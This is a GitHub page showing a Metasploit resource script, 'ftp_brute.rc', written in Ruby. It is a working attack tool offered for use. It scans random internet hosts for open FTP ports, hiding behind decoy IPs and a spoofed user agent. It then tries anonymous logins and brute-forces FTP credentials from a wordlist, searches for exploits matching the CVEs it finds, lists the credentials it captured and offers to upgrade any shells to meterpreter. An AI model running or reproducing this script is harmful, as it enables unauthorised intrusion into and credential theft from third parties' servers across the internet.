-
Notifications
You must be signed in to change notification settings - Fork 39
/
ftp_brute.rc
337 lines (306 loc) · 15.1 KB
/
ftp_brute.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
##
# Script: ftp_brute.rc
# Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
# GitHub: https://github.com/r00t-3xp10it/resource_files
# -
# [OPTIONS]
# setg SAVE_DB true - Save workspace mosquito to database.xml
# setg LIMMIT 1000 - Limmit the number of random WAN hosts to search
# setg RANDOM_HOSTS true - To instruct db_nmap to random search in WAN for hosts with ports open
# setg RHOSTS 143.191.125.117 176.88.224.115 67.222.96.212 183.17.237.229 162.246.22.133 - To instruct db_nmap to scan hosts for ports open.
# setg USERPASS_FILE /root/my_dicionary.txt - To instruct auxiliarys to use our own dicionary file
# -
# [SYNTAX EXAMPLES]
# msf5 > setg RANDOM_HOSTS true;resource /root/ftp_brute.rc'
# msfconsole -q -x 'setg RANDOM_HOSTS true;resource /root/ftp_brute.rc'
##
<ruby>
run_single("workspace -a mosquito")
help = %Q|
🦟__________
_______🦟________________________ ___(_) _ /______🦟
__ __ __ \\ __ \\_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\\____//____/ \\__, / \\__,_/ /_/ \\__/ \\____/
🦟 /_/ 🦟
Script: ftp_brute.rc
Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
GitHub: https://github.com/r00t-3xp10it/resource_files
|
print_line(help)
Rex::sleep(1.5)
## Make sure we are connected to db
unless framework.db.active
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] Database not connected to postgresql.")
Rex::sleep(2.0)
err = %Q|
Remark
------
This resource script requires the msf database connected to postgresql.
Connect DB To Postgresql
------------------------
[execute] service postgresql start
[execute] msfconsole -q -x 'resource ftp_brute.rc'
|
print_line(err)
print_error("please wait, cleaning recent configurations.")
run_single("unsetg all")
run_single("exit -y")
return nil
else
print_good("Database connected to postgresql.")
Rex::sleep(0.5)
local = Dir.pwd
work_name = framework.db.workspace.name
print_status("Working in workspace: *#{work_name}")
Rex::sleep(1.0)
ip_range = File.read("ip_range.txt") if File.exist?("ip_range.txt")
end
## Sellect the type of nmap scan to use
if (framework.datastore['RANDOM_HOSTS'] == "true")
if (framework.datastore['LIMMIT'] == nil or framework.datastore['LIMMIT'] == '')
run_single("setg LIMMIT 300")
print_line("RHOSTS => Random Search in WAN for:#{framework.datastore['LIMMIT']} alive hosts")
else
print_line("LIMMIT => #{framework.datastore['LIMMIT']}")
print_line("RHOSTS => Random Search in WAN for:#{framework.datastore['LIMMIT']} alive hosts")
end
elsif (framework.datastore['RHOSTS'] == nil or framework.datastore['RHOSTS'] == '')
run_single("setg RHOSTS #{ip_range}.0/24")
elsif (framework.datastore['RHOSTS'])
print_line("RHOSTS => #{framework.datastore['RHOSTS']}")
end
## Metasploit auxiliarys brute force dicionary absoluct path
if (framework.datastore['USERPASS_FILE'] == nil or framework.datastore['USERPASS_FILE'] == '')
run_single("setg USERPASS_FILE #{local}/bin/wordlists/ftp-default-userpasslist.txt")
else
print_line("USERPASS_FILE => #{framework.datastore['USERPASS_FILE']}")
end
## db_nmap WAN or RHOSTS or LOCAL_LAN scan settings ftp-brute.nse
# HINT: nmap will use a fake user-agent string (iPhone:Safari) while scanning.
if (framework.datastore['RHOSTS'] == "#{ip_range}.0/24")
run_single("db_nmap -sS -v -Pn -n -T4 -O -p 21 --open --script=banner.nse,http-headers.nse,ftp-anon.nse,ftp-vuln-cve2010-4221.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" #{framework.datastore['RHOSTS']}")
elsif (framework.datastore['RANDOM_HOSTS'] == "true")
print_status("Nmap: search for random remote hosts with ports 21 open")
run_single("db_nmap -sS -vvv -Pn -n -T4 -iR #{framework.datastore['LIMMIT']} -p 21 --open --script=banner.nse,http-headers.nse,ftp-anon.nse,ftp-vuln-cve2010-4221.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" -D 172.217.17.4,65.49.82.3")
else
run_single("db_nmap -sS -v -Pn -n -T4 -O -p 21 --open --script=banner.nse,http-headers.nse,ftp-anon.nse,ftp-vuln-cve2010-4221.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" -D 172.217.17.4,65.49.82.3 #{framework.datastore['RHOSTS']}")
end
## Read the database
if File.directory?("#{local}/logs")
run_single("spool #{local}/logs/ftp_brute.log")
end
print_line("")
run_single("services")
## rhosts geolocation (geoip-bin)
if (File.exist?("/usr/bin/geoiplookup"))
print_line("Geo-Location")
print_line("------------")
## Mapping database hosts (loop)
framework.db.hosts.map(&:address).each do |sHost|
geo_location = `geoiplookup #{sHost}|cut -d ':' -f2|tr -d '\n'`
spl_range = sHost.split('.')
## Make sure we are NOT geolocating Internal ip(s)
if (spl_range[0] == "192" and spl_range[1] == "168")
print_line("#{sHost} - Not available (Internal IP Address)")
else
print_line("#{sHost} - #{geo_location}")
end
end
end
print_line("")
Rex::sleep(2.0)
## Read the database (metasploit)
print_good("Sellecting target hosts from msf database.")
xhost = framework.db.hosts.map(&:address).join(' ')
xport = framework.db.services.map(&:port).join(' ')
proto = framework.db.services.map(&:proto).join(' ')
xname = framework.db.hosts.map(&:os_name).join(' ').gsub(' ',', ')
run_single("setg RHOSTS #{xhost}")
Rex::sleep(2.0)
## Make sure that exists hosts/ports (open) in database
if xhost.nil? or xhost == '' or xhost == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] db_nmap scan did not find any alive connections.")
print_error("please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
return nil
elsif xport.nil? or xport == '' or xport == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] db_nmap did not find any 21 (ftp) open ports.")
print_error("please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
return nil
end
## Make sure that dicionary file exist (user:pass)
check_word = "#{framework.datastore['USERPASS_FILE']}"
unless (File.exist?(check_word))
print_error("[ERROR] Dicionary absoluct path not found.")
print_error("USERPASS_FILE => #{framework.datastore['USERPASS_FILE']}")
Rex::sleep(1.0)
word = %Q|
[execute] setg USERPASS_FILE <absoluct-path-to-dicionary.txt>
[example] setg USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt
'Remmenber that worldlist must be in user:pass format (one-per-line)'
|
print_line(word)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
return nil
end
## Make sure that freevulnseach.nse exists
Rex::sleep(2.0)
nse = "/usr/share/nmap/scripts/freevulnsearch.nse"
unless (File.exist?(nse))
print_error("[ERROR] freevulnsearch.nse/vulners.nse script(s) not found in nmap db.")
print_error("[ERROR] Download nse script(s) and install it before running this rc file.")
Rex::sleep(1.0)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit AND exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/OCSAF/freevulnsearch/master/freevulnsearch.nse
sudo cp freevulnsearch.nse /usr/share/nmap/scripts/freevulnsearch.nse
sudo wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse
sudo cp vulners.nse /usr/share/nmap/scripts/vulners.nse
sudo nmap --script-updatedb
|
print_line(nof)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
return nil
else
print_good("freevulnsearch.nse/vulners.nse script(s) found.")
end
## Run gather/brute-force modules
if xport =~ /21/ or proto =~ /ftp/i
print_warning("Remote Target port: 21 ftp found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/ftp/ftp_version")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("use auxiliary/scanner/ftp/anonymous")
run_single("set THREADS 35")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("use auxiliary/scanner/ftp/ftp_login")
count_lines = File.open("#{framework.datastore['USERPASS_FILE']}") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("set STOP_ON_SUCCESS true")
run_single("set BRUTEFORCE_SPEED 5")
run_single("set THREADS 180")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
end
## Running freevulnsearch.nse (scan for CVE's)
print "[?] Scan for possible CVE's? (y/n): "
question = gets.chomp
if question == "y" or question == "Y"
print "[?] Use 'freevulnsearch.nse' or 'vulners.nse'? :"
query_nse = gets.chomp
if query_nse.nil? or query_nse == ''
query_nse = "vulners.nse"
end
displ = %Q|
MMMMMMMMMMM'""""'YMMM MM""MMMMM""MM MM""""""""`MMMMMMMMMM
MMMMMMMMMM' .mmm. `MM MM MMMMM MM MM mmmmmmmMMMMMMMMMM
MMMMMMMMMM MMMMMooMM MM MMMMP MM MM` MMMMMMMMMMMM
MMMMMMMMMM MMMMMMMMM MM MMMM' .MM MM MMMMMMMMMMMMMMMMM
MMMMMMMMMM. `MMM' .MM MM MMP' .MMM MM MMMMMMMMMMMMMMMMM
MMMMMMMMMMM. .dMM MM .dMMMM MM .MMMMMMd@bM
MMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMM
freevulnsearch.nse by: Mathias Gut
vulners.nse by: gmedian
|
print_line(displ)
print_good("[#{query_nse}] Running CVE checks againts: #{framework.datastore['RHOSTS']}")
run_single("db_nmap -sV -v -T4 -Pn -n --script=#{query_nse} #{framework.datastore['RHOSTS']} --open -oN CVEs.txt")
## suggest exploits based on CVE number
query_numb = `cat CVEs.txt|grep -m 20 'CVE-'|awk {'print $2'}|cut -d '-' -f1,2,3`
# Make sure we get any CVE number back
parse_trail = query_numb.split(' ')
unless (parse_trail.empty? or parse_trail.nil? or parse_trail == '')
print "[?] Suggest exploits to CVEs found ? (y/n):"
query_cve = gets.chomp
if query_cve == "y" or query_cve == "Y"
# Use msfconsole search core command to search for compatible exploits
print_line("")
print_good("searching in metasploit database for compatible exploits..")
Rex::sleep(1.0)
(parse_trail).each do |id|
print_status("search cve:#{id} type:exploit rank:good rank:great rank:excellent")
Rex::sleep(0.5)
run_single("search cve:#{id} type:exploit rank:good rank:great rank:excellent")
Rex::sleep(1.0)
end
end
else
# None CVEs IDs found in nmap scans
print_error("[NONE CVEs FOUND] Abort Suggest exploits module execution.")
Rex::sleep(1.5)
end
end
## Make sure logs folder exists!
if File.directory?("#{local}/logs")
## Save current database to local file (xml)
if (framework.datastore['SAVE_DB'] == "true")
rand = Rex::Text.rand_text_alpha(5)
print_warning("Exporting database to: #{local}/logs/database_#{rand}.xml")
run_single("db_export -f xml -a #{local}/logs/database_#{rand}.xml")
end
end
print_line("")
## Display active sessions
run_single("sessions -l")
print_line("")
run_single("creds")
print_line("")
## Cleaning database and unset global variables
print_warning("Cleaning global variables.")
Rex::sleep(1.5)
run_single("unsetg all")
run_single("unset all")
run_single("workspace -d mosquito")
## Upgrade command shell to meterpreter?
if (framework.sessions.length > 0)
print "[?] Upgrade command shell to meterpreter? (y/n):"
upgrate_met = gets.chomp
if upgrate_met == "y" or upgrate_met == "Y"
run_single("use post/multi/manage/shell_to_meterpreter")
# Loop truth sessions to grab the session ID
framework.sessions.each_key do |sid|
run_single("set SESSION #{sid}")
run_single("run")
end
print_line("")
run_single("sessions -l")
print_line("")
end
end
dtr = `date`
## Writting ['xhost(s)'] to mosquito logfile
if File.directory?("#{local}/logs")
print_status("Logfile stored under: #{local}/logs/ftp_brute.log")
run_single("echo \"[#{dtr}] ftp_brute: #{xhost}\" >> logs/mosquito.log")
end
File.delete("CVEs.txt") if File.exist?("CVEs.txt")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
run_single("back")
</ruby>